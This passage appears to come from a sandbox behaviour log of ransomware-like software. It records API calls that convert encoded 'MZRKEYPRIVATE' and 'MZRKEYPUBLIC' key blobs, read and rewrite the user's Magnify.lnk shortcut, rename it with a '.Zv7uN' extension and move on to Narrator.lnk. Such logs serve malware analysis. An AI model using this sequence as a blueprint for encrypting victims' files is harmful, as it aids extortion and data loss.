8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.840] GetCurrentThreadId () returned 0xa30 [0128.840] GetCurrentThreadId () returned 0xa30 [0128.840] GetCurrentThreadId () returned 0xa30 [0128.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.841] GetCurrentThreadId () returned 0xa30 [0128.841] GetCurrentThreadId () returned 0xa30 [0128.841] GetCurrentThreadId () returned 0xa30 [0128.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0128.841] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0128.841] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0128.841] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4ea [0128.841] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0128.842] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x4ea, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x4ea, lpOverlapped=0x0) returned 1 [0128.845] CloseHandle (hObject=0x1dc) returned 1 [0128.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0128.848] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x4ea, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f114*=0x4ea, lpOverlapped=0x0) returned 1 [0128.850] CloseHandle (hObject=0x1dc) returned 1 [0128.850] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk.zv7un")) returned 1 [0128.852] GetCurrentThreadId () returned 0xa30 [0128.852] GetCurrentThreadId () returned 0xa30 [0128.852] GetCurrentThreadId () returned 0xa30 [0128.852] GetCurrentThreadId () returned 0xa30 [0128.853] GetCurrentThreadId () returned 0xa30 [0128.853] GetCurrentThreadId () returned 0xa30 [0128.853] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b733f17, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Narrator.lnk", cAlternateFileName="")) returned 1 [0128.853] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0128.853] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0128.853] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b733f17, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee)) returned 1 [0128.854] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk")) returned 0x20 [0128.854] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk", dwFileAttributes=0x80) returned 1 [0128.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aT